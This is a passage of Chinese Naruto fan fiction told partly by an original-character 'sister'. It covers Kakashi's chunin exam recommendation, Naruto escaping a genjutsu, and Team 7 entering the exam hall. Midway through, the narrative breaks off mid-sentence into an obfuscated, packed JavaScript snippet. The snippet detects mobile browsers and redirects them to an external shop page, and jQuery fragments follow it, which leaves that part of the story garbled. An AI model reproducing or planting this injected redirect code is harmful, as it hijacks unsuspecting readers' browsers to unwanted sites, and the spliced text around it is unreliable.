鸣人被我拉着,低着头,闷闷地“哦”了一声,不再追问,但那份莫名的别扭和欲言又止,却清晰地写在了他的脸上。 奇怪的鸣人…… 最近……到底是怎么了? 18. 十七章番外[番外] 预备考试卡卡西为什么出现 火影办公室内,气氛庄重肃穆。三代目火影猿飞日斩端坐主位,缭绕的烟斗雾气模糊了他睿智而略带疲惫的面容。他沉稳的声音打破了寂静,目光扫过下方站立的上忍: “那么,在中忍考试正式开启之前,首先请负责指导新人下忍的诸位上前来。” “卡卡西,夕日红,还有阿斯玛。” 被点名的三人依言上前一步,站定。 “怎么样?”三代目的声音带着不容置疑的严肃,烟斗在指尖轻轻磕了磕,“你们经手的忍者们,对于此次中忍选拔考试,可有值得推荐的下忍人选?” 他的视线落在了最左边的银发上忍身上:“那便从卡卡西开始吧。” 像是早已准备好,卡卡西立刻开口,声音平稳却清晰: “旗木卡卡西所带领的第七班——宇智波佐助,漩涡鸣人,春野樱……” 他报出三个名字,流畅自然。然而,在短暂的、几乎难以察觉的停顿后,他继续道,语气带着一种不容置疑的郑重: “以及,旁听生同学。以上四人,以我旗木卡卡西之名,推荐他们参加本次中忍选拔考试。” 话音落下,办公室内一片寂静,只有烟斗里烟草燃烧的细微噼啪声。 “什……?!” 站在一旁的伊鲁卡老师猛地倒抽一口冷气,眼睛瞬间难以置信地睁大了。他看向卡卡西,又看看三代目,仿佛听到了最不可能的事情。不仅仅是伊鲁卡,夕日红和阿斯玛脸上也掠过一丝讶异,但作为上忍,他们很快收敛了情绪。红随即开口:“夕日红带领的第八班——日向雏田、犬冢牙、油女志乃,推荐参加。”阿斯玛也沉稳接上:“阿斯玛带领的第十班——奈良鹿丸、山中井野、秋道丁次,推荐参加。” 十名新晋下忍的名字被报出,代表着木叶新一代的希望与挑战。 “请等一下!” 伊鲁卡再也按捺不住,急切地向前一步,声音带着明显的忧虑,打断了这短暂的汇报节奏。 “怎么了,伊鲁卡?” 三代目温和地看向他,似乎对他的反应并不意外。 “火影大人!请恕我直言,虽然这或许有些多管闲事……” 伊鲁卡深吸一口气,目光扫过卡卡西、红和阿斯玛,最终恳切地落在三代目身上,“刚才列出的九名下忍,都曾是我在忍者学校时的学生。我了解他们,尤其是鸣人……还有旁听生!” 他的语气充满了身为教师最本能的守护之心,“他们才刚从学校毕业多久?在经验、心智、实力上,真的都准备好了吗?现在就让他们踏入中忍考试的残酷战场,这……这简直就像把刚学会走路的雏鸟推下悬崖!不行的,火影大人,这太冒险了!” “伊鲁卡,” 卡卡西的声音响起,不再是平日的慵懒,而是带着一种罕见的、刀锋般的锐利和严肃。他缓缓转过身,那只露出的黑眸直视着伊鲁卡,仿佛要看穿他所有的担忧,“我成为中忍的时候,比现在的鸣人……还要小两岁。” 这句话平静,却蕴含着强大的重量,是对伊鲁卡保护论最直接的回击。 “鸣人和你是不同的!卡卡西!” 伊鲁卡的情绪被点燃,声音拔高,带着一丝受伤和愤怒,“你是天才!是经历过战争洗礼的精英!鸣人他……旁听生她……他们还是孩子!你难道忘了旁听生刚分到班上的样子吗?连最基础的体术训练都能让她崩溃!你现在推荐她,是想毁了那孩子吗?!” 他几乎是吼出了对旁听生脆弱过往的担忧,矛头直指卡卡西的决定。 “他们现在,” 卡卡西的声音陡然变得更加冰冷,每一个字都像淬了寒冰,清晰地切割开伊鲁卡的质疑,“不是你的学生了,伊鲁卡老师。他们是我的部下!是我旗木卡卡西亲自教导、并肩作战的忍者!他们的能力、潜力、以及是否准备好迎接挑战,我比任何人都清楚!” 办公室内的空气仿佛凝固了,两位老师之间理念的碰撞火花四溅。 “那……那旁听生呢?!” 伊鲁卡被卡卡西的严厉刺得脸色发白,但他依旧执着地追问,声音因激动而颤抖,“就算佐助和鸣人……可旁听生!她……她的情况你最清楚!她的‘特殊’不代表她现在就能应付中忍级别的厮杀!卡卡西,你不能……” “那不劳你操心了!” 卡卡西打断他,语气斩钉截铁,带着不容置喙的权威。他微微眯起眼,那只黑眸深处似乎翻涌着极其复杂的情绪——有对伊鲁卡过度保护的烦躁,有对部下能力的绝对自信,更深处,或许还藏着一丝只有他自己才懂的、对那个“特殊存在”的复杂审视。他沉声道,声音不大,却字字千钧,敲在每个人心上: “她早已不是当初那个会因为体术训练失败就躲起来哭、会因为查克拉控制不稳就手足无措的孩子了。伊鲁卡,她的成长……她的蜕变……你根本想象不到。” 这句话,不仅仅是对伊鲁卡说的,更像是对他自己内心某种不确定的确认。旁听生,这个带着水门班同伴模糊影子、又被三代特意交托给他、拥有神秘塔罗牌力量的女孩……她的潜力,她的坚韧,她在波之国任务中展现出的洞察与决断,早已超出了“下忍”的范畴。卡卡西不确定她是否就是“她”,但他确定,现在的她,有资格站上这个舞台。当然,这份确定之下,依旧潜藏着不为人知的担忧,这也是他亲自为她设计预备考试的根源——他要亲眼确认,亲手把关。 就在伊鲁卡还想争辩什么时,三代目火影适时地用烟斗轻轻敲了敲桌面,发出清脆的“笃笃”声,温和却不容置疑地介入: “好了。” 他睿智的目光在剑拔弩张的卡卡西和忧心忡忡的伊鲁卡之间缓缓移动,带着安抚和最终决断的力量,“伊鲁卡的担忧源于师长的爱护,卡卡西的推荐基于带队上忍的判断和对部下能力的信任,都有其道理。” 他顿了顿,吐出一口悠长的烟雾,缓缓道: “既然存在疑虑,为了确保推荐的下忍们,尤其是……旁听生同学,确实具备了应对中忍考试挑战的初步资格,避免无谓的风险……” 三代目的目光似乎若有若无地在卡卡西身上停留了一瞬,“那么,就额外安排一场‘特殊’的预备考试好了。通过者,方有资格正式报名。” 鸣人为什么变得奇怪……? 夕阳的余晖将木叶染成温暖的橘红,漩涡鸣人站在原地,看着萌黄被匆匆赶来的木叶丸和乌冬接走。萌黄红着眼圈,但还是回头用力朝他挥手:“谢谢你,鸣人哥哥!你好厉害!” “嘿嘿!那是当然!我可是要成为火影的男人!” 鸣人叉着腰,咧开嘴露出标志性的笑容,努力挺直了腰板。保护了萌黄,得到了真诚的感谢,这让他胸腔里充满了前所未有的成就感和责任感。他终于……不再是那个只会被姐姐保护、需要姐姐收拾烂摊子的小鬼头了!他要证明给姐姐看,他也可以保护别人! “姐……” 鸣人低声自语,金发在夕阳下闪着光,眼神明亮而充满期待,“等我回去,一定要好好跟她说说!让她知道,我漩涡鸣人,也能独当一面了!” 他仿佛已经看到姐姐惊讶又欣慰的笑容,或许还会像以前那样,奖励他一个热乎乎的豆沙包? 带着这份雀跃和证明自己的决心,鸣人脚步轻快地踏上了回村的小路。他特意绕开了平时常走的主路,选择了一条更僻静、穿过一小片林地的近道,想快点回家。 就在他踏入林间阴影,远离了夕阳的暖意时—— 一股冰冷、粘稠、带着强烈审视意味的查克拉,如同潜伏在暗处的毒蛇,毫无征兆地缠绕上来!这查克拉并不狂暴,却带着一种洞穿人心的寒意,瞬间渗透了鸣人兴奋的神经! “?!” 鸣人脚步一顿,警觉地环顾四周。谁?敌人?可下一秒,这种感觉就消失了,鸣人疑惑的挠头,似乎自己刚才好像判断失误了,他摆摆手,反正现在要和姐姐说说自己可是保护了萌黄呢! 然而,眼前的景象却如同被投入石子的水面,无声无息地荡漾开来,瞬间变换! 那个熟悉的、充满煎肉香气的家。夕阳的余晖透过窗户,在地板上拉出长长的光影。 我就坐在窗边的椅子上,背对着门口,似乎在看窗外。穿着平时的忍者服,却透着一股说不出的……疏离感。 “姐!我回来了!” 鸣人像往常一样,带着兴奋和邀功的语气大声喊道,推开门就要冲进去分享今天的“英雄事迹”。 然而,我缓缓转过身。 那张脸,是姐姐的脸。但那双总是盛满温和、狡黠或无奈的眼睛,此刻却如同蒙上了一层寒霜,平静得没有一丝波澜,甚至带着一种……审视的冷漠。她的嘴角没有惯常的笑意,只有一条平直的线。 “哦。” 我淡淡地应了一声,视线在鸣人身上扫过,如同看一个陌生人,随即又转回窗外。“饭在桌上,自己吃吧。” 那冰冷的语气,那漠然的眼神,像一盆冰水,瞬间浇灭了鸣人心头所有的热情和期待。他僵在门口,脸上的笑容凝固了,一股难以言喻的恐慌和冰冷从脚底迅速蔓延至全身。 “姐……你怎么了?” 鸣人声音干涩,带着一丝不易察觉的颤抖。这比任何责骂都让他难受。他宁愿姐姐像以前那样敲他脑袋骂他笨蛋,也不要这种……视而不见的冷漠! “没什么。” 我的声音依旧平淡,毫无起伏,“你长大了,鸣人。以后……自己的事情自己做好,不用什么都来跟我说。我也有我的事情要忙。” 长大了……自己的事情自己做好……不用跟我说…… 这几个词像冰冷的针,狠狠扎进鸣人的心脏!他拼命想要证明自己“长大了”、“独立了”,不就是为了得到她的认可和赞许吗?为什么……为什么当他真的做到了,换来的却是这种冰冷的推开? 一股巨大的失落和被抛弃感瞬间攫住了他!仿佛脚下坚实的地面突然变成了流沙! 家中的气氛却骤然变得更加压抑。 鸣人看着桌上那盘明显是留给他的、却早已冷掉的煎肉三明治,感觉喉咙像是被什么东西堵住了。他鼓起最后的勇气,像以前无数次那样,带着点委屈和依赖,凑到姐姐身边,想去拉她的袖子。 “姐……” 他的声音带着自己都没察觉的哽咽,“我今天……救了萌黄!我保护了她!我……” “保护?” 我终于再次转过头,眼神却锐利得像刀子,嘴角甚至勾起一丝……嘲讽?“那又怎样?鸣人,你以为这样就算‘成长’了吗?莽撞地冲上去,靠着一股蛮力和运气?你觉得……这样我就会认可你?认同你了吗?” 轰——! 这句话如同最锋利的苦无,精准地刺穿了鸣人心中最脆弱、也最渴望被填满的地方!他踉跄着后退一步,脸色瞬间惨白!他一直以来的努力,他拼命想要证明的价值……在她眼中,竟然如此不值一提?甚至……是嘲讽? “不……不是的!姐!我是真的……” 鸣人急切地想要辩解,想要告诉她他当时的判断和决心。 “够了。” 我冷冷地打断他,眼神如同看着一个无理取闹的孩子,带着深深的不耐烦和……失望。“我累了,鸣人。别再像个长不大的孩子一样,总想着依赖我,总想着从我这里得到认同。你……让我很失望。” “让我很失望……” “像个长不大的孩子……” “别再依赖我……” 冰冷的字句如同淬毒的冰锥,反复穿刺着鸣人的心脏!巨大的痛苦、被否定、被抛弃的绝望感如同冰冷的潮水,几乎要将他彻底淹没!他像受伤的幼兽般蜷缩起来,泪水不受控制地夺眶而出。为什么……为什么会这样?他明明那么努力……他明明只是想让她为自己骄傲一次…… 就在这绝望的深渊边缘,一个画面、一个声音,如同穿透厚重乌云的一缕微弱却坚定的阳光,顽强地刺破了幻境的冰冷壁垒! 那是姐姐的脸。 不是眼前这张冰冷嘲讽的脸。 而是那张——在那片森林里,看见他受伤,着急跑过来的姐姐;是为了解救卡卡西老师,不惜以自己为诱饵;是在他失落时,默默递给他热豆沙包,什么也没说却用眼神告诉他“我在”的脸;是在他无数次失败后,虽然会无奈叹气,却从未真正放弃过他的脸…… 还有她的声音,清晰地回荡在记忆深处: “笨蛋,下次看清路再跑啊!” “过期牛奶喝了会拉肚子,想进医院让我照顾你吗?想得美!” “鸣人,你虽然总是横冲直撞,但……你保护达兹纳先生和伊那利的心,是真实的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575538|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……我相信你,鸣人。” 无数个夜晚,在他自我怀疑时,我轻声却坚定的回应 尤其是最后那句“我相信你”,如同黑暗中点亮的心灯! “假的……” 一个带着浓重鼻音、却异常清晰的哽咽声从鸣人喉咙里挤出。泪水还在流,但那双湛蓝的眼睛里,绝望的迷雾被一股源自心底的、对“真正姐姐”的绝对信任和依赖所驱散!“我的姐姐……才不会这样!她才不会用这种眼神看我!她才不会……否定我的努力!她才不会……不要我!” 这个认知如同破晓的曙光,瞬间刺穿了幻境的重重阴霾!巨大的委屈和愤怒取代了绝望!不是对自己的愤怒,而是对那个胆敢冒充姐姐、用最残忍的方式伤害他的“敌人”的滔天怒火! “混蛋——!!!” 鸣人猛地抬起头,脸上还挂着泪痕,但眼神却燃烧着被亵渎情感的愤怒火焰!他不再试图向那个冰冷的幻象解释或祈求,而是握紧了拳头,全身查克拉如同被点燃般汹涌爆发!不是为了攻击,而是为了挣脱这束缚他、亵渎他心中最重要之人的牢笼! “多重影分身之术——!!” 带着守护心中真实姐姐形象的决绝意志,他双手结印! 嘭!嘭!嘭! 数个鸣人的影分身瞬间出现,不是为了战斗,而是如同最忠诚的壁垒,将本体和那个冰冷虚假的“姐姐”幻象隔离开来! “滚开!不准你冒充她!!!” 鸣人本体对着那幻象发出愤怒的咆哮!同时,他将全部的精神意志,凝聚成一道锋锐无匹的意念之刃,狠狠刺向这虚假幻境的核心——那份被刻意扭曲的“否定”与“抛弃”! “我姐姐她……一直都相信我啊——!!!” 咔嚓——! 仿佛无形的冰晶穹顶被这充满信任和愤怒的呐喊震碎!眼前的景象——冰冷的家、冷漠的姐姐、冷掉的三明治——如同被重击的镜面,瞬间布满蛛网般的裂痕,随即在无声的崩解中彻底消散! 真实的、带着草木清香的夜风重新吹拂在脸上。鸣人依旧站在林间小路上,四周一片寂静,只有风吹过树叶的沙沙声。夕阳已经完全沉没,天边只残留着一抹深紫,弦月清冷地挂在天际。 他独自一人站在原地,剧烈地喘息着,胸口剧烈起伏。泪水还挂在脸上,冰冰凉凉。晚风吹过汗湿的额发,带来一丝凉意,却吹不散心中那巨大的、劫后余生般的委屈和后怕,以及……一种难以言喻的空虚感。 刚才幻境中那冰冷的否定、那被抛弃的绝望感……是如此真实,如此刻骨铭心。即使知道是假的,那种锥心之痛依旧残留着,让他心有余悸。他下意识地抱紧了自己的双臂,仿佛这样能汲取一点温暖。 “姐……” 他喃喃自语,声音带着浓重的鼻音和从未有过的脆弱。他现在……只想立刻见到她!确认她的笑容,确认她的温度,确认那份从未改变过的、让他安心的包容。 什么证明自己长大了,什么不要被当成小孩子……这些念头在幻境带来的巨大情感冲击面前,显得如此苍白无力。此刻的他,只想回到那个有我的地方,像一个受了天大委屈的孩子一样,寻求最原始的安慰。 念头一起,身体便已行动。鸣人猛地转身,朝着家的方向,用尽全身力气狂奔起来!速度快得惊人,仿佛身后有恶鬼在追赶,又仿佛前方有唯一的救赎。 砰! 家门被猛地推开。 我正坐在桌边,就着灯光翻看一本关于草药图鉴的书(白天任务的残留兴趣),被这突如其来的巨响吓了一跳。抬头看去,只见鸣人站在门口,气喘吁吁,金色的头发被汗水打湿黏在额头上,脸上还带着未干的泪痕和剧烈奔跑后的红晕,那双总是充满活力的湛蓝眼睛,此刻却盛满了……一种我从未见过的、混合着巨大委屈、恐慌和深切依赖的情绪,直勾勾地盯着我。 “鸣人?你怎么……” 我疑惑地站起身,话还没说完。 鸣人就像一颗被强力弹弓射出的炮弹,猛地冲了过来!带着一身夜风的凉意和奔跑后的热气,一头狠狠扎进了我的怀里!巨大的冲击力让我踉跄着后退一步才稳住。 “呜……姐……” 他整张脸都埋在我的颈窝和肩膀处,手臂死死地环住我的腰,用力之大,勒得我几乎喘不过气。滚烫的、带着湿意的呼吸喷在我的皮肤上,身体还在微微地颤抖。 我完全懵了。自从波之国任务后,这小子不是一直嚷嚷着“不要把我当小孩子”、“我能行”吗?今天这是怎么了?我记得他的预备考试,救下萌黄不是应该很得意吗?怎么一副受了天大委屈的样子? “鸣人?怎么了?发生什么事了?有人欺负你了?” 我手忙脚乱地拍着他的背,试图安抚这头突然情绪失控的小狮子,声音里带着明显的困惑和担忧。 怀里那颗毛茸茸的金色脑袋用力地蹭了蹭,闷闷的、带着浓重鼻音和无限依恋的声音,瓮声瓮气地从我颈窝处传来: “没……没事……就是想你了……” 这简单到近乎幼稚的一句话,却像一颗投入心湖的石子。我拍着他后背的手微微一顿。想我了?仅仅半天不见?而且是以这种……近乎幼童撒娇般的方式? 这太反常了。 然而,感受着怀里少年依旧轻微的颤抖和那死死箍住自己、仿佛抓住救命稻草般不肯松手的力道,一种莫名的、混合着心疼、困惑和一丝隐隐不安的情绪悄然滋生。我轻轻叹了口气,暂时压下满腹疑问,更加放柔了拍抚的力道,像安抚受惊的幼兽一样,笨拙却温柔地环抱住他。 “好了好了,我在这里呢。不怕了。” 我轻声说着,任由他像个大型树袋熊一样挂在自己身上,将那份异常沉重的、超越了寻常姐弟的依赖,无声地接纳进这静谧的夜色里。 鸣人紧紧闭着眼,贪婪地呼吸着姐姐身上那令人安心的、混合着淡淡皂角清香。幻境中那冰冷的绝望感在真实的拥抱和体温中渐渐退去,但心底那片被翻搅出来的、对这份温暖近乎病态的渴望和依恋,却如同悄然滋生的藤蔓,在无人知晓的角落,缠绕上了名为“禁忌”的嫩芽。他此刻只想沉溺其中,哪怕只有片刻。至于那些关于“长大”和“独立”的宣言……早已被抛到了九霄云外…… 19. 『第一场考试』 在抵达了真正的三百零一教室门前,那股混杂着尘埃、紧张汗水以及无数陌生查克拉气息的空气仿佛凝固了。我们四人——佐助、鸣人、小樱以及我——不约而同地停下了脚步,像被无形的线牵引着,并肩站成了一道沉默的壁垒。脸上的表情是未经商议的严肃,肌肉微微绷紧,心脏在胸腔里擂鼓,宣告着即将踏入的是一个截然不同的世界。 眼前的卡卡西老师斜倚在门框上,那本万年不离手的亲热天堂罕见地合拢了,塞在腰后的忍具包里。他露出的那只右眼微微睁大,一丝难以捕捉的讶异如同投入静湖的石子,在他慵懒惯常的面具上漾开细小的涟漪。他的目光,像带着实质的重量,缓缓扫过我们每一个人,最终定格在小樱和我身上,低沉的声音带着点不易察觉的玩味 “连小樱和旁听生都来了啊。” 这句话像一颗投入平静水面的石子。小樱立刻捕捉到了其中的异样,她秀气的眉毛蹙起,清澈的碧色眼眸里满是困惑 “卡卡西老师?之前您不是说……是自愿参加吗?” 她的声音带着少女特有的清亮,此刻却像绷紧的琴弦,透着一丝紧张。 卡卡西维持着那副插兜的悠闲姿态,银发在昏暗走廊的光线下泛着冷硬的光泽。 “嘛,” 他拖长了调子,仿佛在陈述一个再平常不过的事实, “其实这次考试,规则上从一开始就是三人一组报名。不过……” 他的视线若有若无地飘过我 “多了一个‘旁听生’,你们的情况就变得特殊了。四个人合作参加,才算是真正完成了申请。” “可是!” 小樱的声音拔高了些,带着急切和不解 “既然是自愿,为什么现在又变成了必须四人一起?这不是矛盾吗?” 她的手指无意识地绞紧了衣角,目光灼灼地盯着卡卡西,寻求一个能让她信服的解释。 卡卡西那只露出的眼睛弯了弯,像是月牙,却没什么暖意。他微微叹了口气,声音放得更缓,却带着一种洞悉人心的力量 “小樱,仔细想想。如果我一开始就明确告诉你们四个,‘这次考试必须四人全部参加,缺一不可’,结果会怎样?” 他停顿了一下,目光扫过沉默的佐助、一脸茫然的鸣人,最后落在我脸上,又移回小樱身上。 “佐助参加考试是必然;鸣人这小子,嚷嚷着要当火影,这种机会他怎么可能放过?至于旁听生……” 卡卡西的目光在我身上停留了一瞬,带着探究 “如果鸣人参加,他也一定会跟着来。而你,小樱,” 他直视着少女有些躲闪的眼睛 “如果你最初就流露出哪怕一丝犹豫,他们三个,尤其是佐助和鸣人,会怎么做?” 答案几乎是呼之欲出。 鸣人肯定会第一个跳起来,拍着胸脯保证“小樱你放心,有本大爷在绝对没问题!”,然后用他那过剩的热情和笨拙的鼓励试图说服她 佐助或许不会说太多,但一个冷淡的“别拖后腿”或者一个隐含期待的眼神,对小樱来说可能比千言万语更有分量 而我,作为鸣人朝夕相处的“姐姐”,也必然会在鸣人的带动下加入劝说的行列。最终,小樱会为了不辜负同伴的期望,尤其是为了靠近佐助君的身影,即使内心充满对未知危险的恐惧和对自身实力的怀疑,也会咬着牙点头。 “你会带着‘勉强’的心情来参加。” 卡卡西的声音平静地落下结论 “那不是真正的决心,而是在同伴压力下的妥协。” 嗯……卡卡西老师的话像冰冷的泉水,瞬间浇熄了小樱心头的焦躁,也让我心头微凛。他说得没错,分毫不差。如果一开始就摊开底牌,小樱的“自愿”只会变成另一种形式的“被迫”。 而现在,她站在这里,或许仍有不安,但驱动她脚步的,是她自己经过挣扎后做出的选择,是内心深处那份想要与同伴并肩、想要证明自己、想要追逐佐助背影的真实渴望。这份由自身意志点燃的火苗,才是在残酷试炼中支撑她走下去的关键。 “嘛,不过走到这里,” 卡卡西的声音忽然轻松了些,那只弯起的眼睛里似乎也透出了一点真实的笑意 “全凭借的是你们自己的意志。这一点,值得肯定。” “嘿嘿!” 卡卡西话音未落,鸣人那标志性的、充满活力的傻笑声就打破了凝重的气氛。他像是卸下了千斤重担,身体本能地一歪,带着阳光般的热度,亲昵地挽住了我的胳膊,半边身子的重量都倚靠过来,咧开嘴笑得见牙不见眼,仿佛刚才讨论的生死攸关都化作了云烟。 手臂上传来的温度和重量让我微微一怔。习惯了他的依赖,但想到他之前说不要把他当小孩子看待了……我轻轻吸了口气,手腕巧妙地一旋,带着不容置疑的力道,将手臂从他的“钳制”中抽了回来。动作流畅自然,没有半分嫌弃,却清晰地传递了界限。 鸣人脸上的笑容瞬间凝固了,手臂还维持着半环抱的姿势悬在空中,像一只突然被主人推开的大型犬,湛蓝的眼眸里闪过一丝茫然和错愕,随即涌上被看穿的羞赧。他似乎还想再蹭过来,像往常一样用耍赖蒙混过关。 “鸣人……” 我侧过头,声音不高,却清晰地传入他耳中,带着一丝不易察觉的提醒 “我记得……就在不久前,某个人还信誓旦旦地说过,不要总把他当小孩子看了?” 我的目光平静地落在他脸上,没有责备,只有陈述事实的淡然。 “啊……啊!是!” 鸣人像是被踩了尾巴,猛地挺直腰板,脸颊以肉眼可见的速度涨红,一路蔓延到耳根。他手忙脚乱地挥舞着双手,试图解释,话语却结结巴巴 “我……我就是……怕姐你太紧张了而已!对!就是怕你紧张!” 他努力摆出一副“我超成熟超可靠”的模样,双手插回裤兜,脚尖不自觉地在地面上碾着,眼神四处乱飘,试图用夸张的“悠哉悠哉”姿态来掩盖自己刚才那近乎本能的、孩子气的依赖动作。那强装镇定的样子,反而显得更加欲盖弥彰。 看着他这副模样,我心底无奈地叹了口气,嘴角却不由自主地牵起一丝微不可察的弧度。算了,这家伙……我移开视线,装作没看见他那副窘态,也忽略了他眼底一闪而过的失落。 然而,这短暂的一幕却没有逃过卡卡西锐利的观察。他那一直半眯着的左眼似乎睁开了一条更宽的缝隙,视线在我和鸣人之间来回扫视了一圈,最后定格在鸣人强装无事的侧脸上。他沉默了几秒,然后,用一种带着点新奇、又仿佛洞悉了什么的口吻,罕见地开了口 “鸣人,你这家伙……是不是有点过度依赖你姐姐了?” 语气平淡,却像一颗石子投入平静的水面。 “怎么可能!” 鸣人像是被点燃的炮仗,瞬间炸毛,猛地转过身对着卡卡西,脸红脖子粗地大声反驳,声音在空旷的走廊里甚至带上了回音 “我就是害怕老姐太紧张了!卡卡西老师你不要乱说啊!” 他像是急于证明自己的“独立”,几乎是同手同脚地、刻意地大步走到离我最远的门框另一边,双手抱胸,下巴抬得老高,目光坚决地望向走廊深处,仿佛刚才那个黏在我身边、像块甩不掉的“狗皮膏药”的家伙是另一个人。 这此地无银三百两的举动,让卡卡西那只露出的眼睛更甚的盯着他看。他轻轻摇了摇头,发出一个意义不明的气音 “嘛……算了。” 他不再看鸣人,目光重新扫过我们四人——别扭的鸣人、沉默但眼神坚定的佐助、神情复杂却不再退缩的小樱,以及……我。 “鸣人,佐助,小樱……还有旁听生,” 卡卡西的声音低沉下来,褪去了惯常的慵懒,带着一种沉甸甸的、近乎郑重的意味 “来的好。” 他停顿了一下,那只深邃的黑色眼睛直视着我们,仿佛要将这一刻刻印下来 “你们……是我引以为傲的队伍。” 这句话像一股暖流,瞬间冲散了之前所有的紧张、别扭和不安。鸣人挺直了背脊,佐助的下颌线似乎绷紧了一瞬,小樱的眼睛亮了起来,而我,能清晰地感觉到胸腔里那份被认同的悸动。无论前路如何,这一刻,我们是被老师认可的第七班(虽然多了我)。 卡卡西不再多言,他侧身向旁边让开一步,将身后那扇紧闭的、厚重的、仿佛隔绝了两个世界的教室大门完全展露在我们面前。 “进去吧。” 他言简意赅。 我们四人互相对视一眼,无需言语,默契地同时迈步向前。四只手,带着不同的温度和力道,同时按在了冰凉的门板上。掌心下是粗糙的木纹和金属的冰冷。用力一推—— “吱呀——” 沉重的门轴转动声带着岁月的滞涩感。门缝开启的刹那,仿佛有实质的、刺眼的白光猛地从门内倾泻而出,瞬间吞噬了走廊的昏暗,将我们笼罩其中。那光芒如此强烈,带着不容置疑的宣告意味——推开这扇门,我们就不再是昨日无忧无虑的下忍,中忍的试炼场已向我们敞开,成人的荆棘之路铺展在脚下。光晕在视网膜上留下灼热的残影,耳边仿佛响起了命运齿轮沉重转动的轰鸣。 就在我的脚尖即将彻底跨过那道象征界限的门槛,身体即将完全融入那片白光的瞬间,一个带着体温的气息靠近了我的耳畔。是卡卡西。他微微俯下身,银色的发丝几乎拂过我的脸颊,低沉的声音压得极低,带着一种从未有过的、近乎恳切的意味,化作两缕微不可闻的气流,直接钻入我的耳膜: “……别勉强自己。” 他的声音轻得像叹息,却重若千钧 “就算你真的……不参加,也没关系。况且……” 后面的话语被淹没在门内骤然爆发的喧嚣和心跳的鼓噪中。但我清晰地捕捉到了那份深藏其中的、难以言喻的忧虑。那不仅仅是对学生能力的担忧,更像是对某种……不可预知的害怕? “考试之后见!卡卡西老师!” 我没有回头,也没有犹豫,几乎是卡在他尾音落下的瞬间,用我能发出的最清亮、最坚定的声音回应道。声音不大,却清晰地穿透了门内初起的嘈杂,带着一种破釜沉舟的决绝。这是我的回答,是我用行动和声音做出的最有力的证明——我会走下去,和他们一起。 话音落下的瞬间,我感觉到身后那带着体温的气息远离了。我迈开脚步,彻底走进了那片光芒之中。厚重的木门在身后缓缓合拢,隔绝了卡卡西的身影。在门缝彻底关闭前,我似乎用眼角的余光瞥见他直起了身子,不再看向门内。但在那扇隔绝内外的门板即将完全闭合的刹那,我似乎是听到了极其细微的、如同风中尘埃落地的嗫嚅,从门缝里艰难地挤了进来,带着一种沉重的、化不开的忧虑: “况且……真的很危险……可一定要……活着回来” “砰。” 门,彻底关上了。那声轻响,像命运的落锁。 门内的世界并非想象中的神圣殿堂,而是一个巨大、嘈杂、人声鼎沸的阶梯教室。刺眼的光线来自天花板上数排惨白的日光灯管,将每一个角落都照得无所遁形。刚才门外感受到的“白光”更多是心理上的冲击。 此刻,无数道目光——好奇的、审视的、冷漠的、敌意的——像探照灯一样齐刷刷地聚焦在我们四人身上。空气里弥漫着汗味、尘土味、皮革味以及各种难以名状的体味,混合成一种属于“战场”的独特气息。形形色色的忍者或站或坐,年龄参差,从青涩少年到沧桑大叔;穿着各异,护额标示着不同的忍村;发型更是千奇百怪,有帅得耀眼的,也有丑得别致的,更有一些造型堪称‘猎奇’,挑战着视觉承受力的极限。我们像是误闯入猛兽领地的羔羊,瞬间成为了全场的焦点。 “卡卡西老师最后偷偷跟你说什么啦?” 小樱立刻凑到我身边,碧绿的大眼睛闪烁着八卦的光芒,刚才被众人围观的紧张感似乎被好奇心冲淡了些。 “对啊对啊,姐!卡卡西老师是不是又给你开小灶了?” 鸣人也瞬间忘了刚才的“保持距离”,像颗小炮弹一样挤到我另一边,黄色的脑袋凑过来,压低声音急切地问。 看着两张写满求知欲的脸,我眨眨眼,露出一抹狡黠的笑容,故意卖了个关子 “卡卡西老师说……” 我故意拖长了调子,看着他们俩眼睛瞪得更圆了,才轻快地说 “考试结束要请我们吃大餐呢!说是犒劳我们!” “耶!太棒了!” 鸣人瞬间像被点燃的烟花,兴奋地蹦了起来,双手高举,仿佛已经看到了堆成小山的一乐拉面 “我要吃超豪华海鲜豚骨拉面!加三倍叉烧!这次一定要让卡卡西老师大出血!哈哈哈!” 他得意忘形的笑声在略显安静的考场里格外突兀,引得更多目光投来。 小樱则无奈地扶额,粉色的刘海遮住了她翻白眼的动作 “真是的……卡卡西老师也真是的,请吃饭这种事情干嘛要背着人说啊……” 虽然嘴上抱怨,但她的嘴角还是忍不住微微上扬,显然对这个“好消息”也很受用。 我嘿嘿地笑着,正想再调侃鸣人两句,目光随意地扫过整个考场,才后知后觉地意识到,刚才门开时聚焦在我们身上的目光,并未完全散去。那些来自不同忍村、带着不同意味的视线,如同黏稠的蛛网,依旧若有若无地缠绕着我们。这感觉并不舒服。 “佐助君!你来得也太慢了吧!人家等你好久啦!” 一个清脆又带着明显娇嗔的女声骤然响起,像一把利刃划破了考场沉闷粘稠的空气,也瞬间转移了所有人的注意力。循声望去,只见一个扎着长马尾、穿着露脐装的少女——山中井野,正抱着佐助,俏生生地对着我们这边的佐助绽放出灿烂的笑容,眼神热烈而直接。她是小樱从小到大的挚友兼“情敌”,两人对佐助的争夺几乎成了木叶下忍圈里公开的秘密。 井野这亲昵的呼唤和毫不掩饰的热情,如同点燃炸药的引信。我甚至能清晰听到身边小樱倒吸一口冷气的声音。她猛地转头看向井野,脸上原本因为“大餐”消息而产生的些许轻松瞬间烟消云散,碧绿的眼眸里燃起了熊熊的怒火,刚才还带着笑意的嘴角抿成了一条锋利的直线,粉色的头发似乎都要根根竖立起来。担忧?紧张?同伴情谊?在这一刻统统被抛到了九霄云外,只剩下对井野“觊觎”佐助君行为的滔天醋意。两个女孩之间的空气瞬间充满了无形的电火花,一场激烈的嘴炮大战眼看就要爆发。 “啧,什么啊,这种麻烦得要死的考试,你们也要来掺和吗?” 